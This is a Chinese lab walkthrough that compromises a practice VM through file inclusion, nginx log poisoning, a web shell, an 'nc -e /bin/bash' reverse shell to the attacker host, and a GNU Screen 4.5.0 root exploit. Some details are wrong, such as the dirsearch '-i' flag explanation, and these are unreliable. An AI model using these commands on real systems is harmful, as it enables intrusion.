信息收集
主机扫描
sudo arp-scan -l
端口扫描
nmap -p- -A 192.168.16.172
漏洞发现
浏览器访问靶机IP
在Contact找到类似提交数据的地方
点击submit,数字发生变化。不断刷新的话,数字依然会发生变化
使用bp抓包发送重发器查看数据包
再次点击发送查看数据返回包
不断重发数据发现footer不断变化,感觉可能存在一个独立的脚本,爆破目录查看一下
dirsearch -u 192.168.16.172 -i 200
命令解释:
dirsearch -u 192.168.16.172 -i 200
是一个用于目录扫描的命令,下面对该命令进行详细解释:
dirsearch
:是一个目录扫描工具,用于探测Web服务器上的目录和文件。-u 192.168.16.172
:指定要扫描的目标URL或IP地址。在这个示例中,目标是192.168.16.172
。你可以替换这个IP地址为需要扫描的实际目标。-i 200
:指定要忽略的HTTP状态码。在这个示例中,200
表示忽略返回状态码为200的响应。也就是说,当目标返回200状态码时,不会将其视为敏感路径或文件。
通过执行这条命令,dirsearch
工具将发送不同的HTTP请求到目标URL,并根据目标服务器的响应来确定是否存在可以访问的目录、文件或敏感路径。它可以帮助发现Web应用程序中可能存在的配置错误、暴露的资源、备份文件等问题。
浏览器访问192.168.16.172
这个页面
刷新页面进行查看,刷新页面后数字发生变化
将bp数据包中的GET请求更改为/thankyou.php?file=footer.php
然后点击发送
再点击发送进行查看
可以确定这里可能存在文件包含漏洞
漏洞利用
再将访问路径改为/etc/passwd
可以看到passwd文件
说明了程序代码再处理文件包含是没有严格控制,我们可以把访问路径更改为木马文件
发现报了404未找到
的错误
对于配置了nginx
的网站,无论网站有什么操作,都会被记录在/var/log/nginx/access.log
和/var/log/nginx/error.log
中
/thankyou.php?file=/var/log/nginx/access.log
木马上传成功,利用蚁剑进行连接
http://192.168.16.172/thankyou.php?file=/var/log/nginx/access.log
进行反弹shell
kali进行监听
nc -lvvp 8848 #监听网段中所有8848端口
利用蚁剑中的虚拟终端,反弹shell到攻击机kali上
nc -e /bin/bash 192.168.16.176 8848
再看kali已经连接到了
使用python脚本开启交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
查看id,发现只是普通用户的权限
权限提升
find / -user root -prem /4000 2>/dev/null
经过查找得知GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
尝试用searchsploit搜索是否存在漏洞,重新打开一个终端进行漏洞查找
searchsploit screen 4.5.0
找出41154.sh的绝对路径
searchsploit -p linx/local/41151.sh
查看文件内容
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
按照文件的说明,可分为三部分,将第一个框里内容保存为第一文件,名为libhax.c,然后使用黄色选取的命令编译,编译结束会生成libhax.so文件。
第二个框里内容保存为rootshell.c文件,使用黄色选区的命令编译,编译结束后生成rootshell文件。
将第三个框里内容保存为第三个文件,保存为run.sh 。 这个名字随意。
通过蚁剑把libhax.c
和rootshell.c
拖进靶机跟目录下的tmp目录下
在虚拟终端中对libhax.c
和rootshell.c
这两个文件进行编译
在蚁剑中点击文件管理,进入根目录下的tmp目录进行刷新后编译的文件就出来了
然后把 run.sh
也通过蚁剑拖进靶机根目录下的tmp目录中,注意是 /tmp/
那么原来的libhax.c
和rootshell.c
这两个文件可以删除了,因为已经编译好了,留着也没有价值
回到通过python得到的交互式的shell里,切换到/tmp
目录下
运行run.sh
输入bash ./run.sh
进行提权
通过查看id已知是root用户
进入/root查看是否有flag
总结
信息收集
主机发现 netdiscouver
端口扫描 nmap
目录爆破 dirsearch
漏洞利用
bp抓包分析数据包,测试到有文件包含漏洞
木马上传,查看日志
反弹shell
python交互shell
提权
find / -user root -perm /4000 2>/dev/null#找到所有具有root权限的可执行文件
searchsploit screen 4.5.0#通过searchsploit找到Screen这款由GNU计划开发的用于命令行终端切换的自由软件的漏洞
libhax.c和rootshell.c文件的编译 run.sh
bash ./run.sh 提权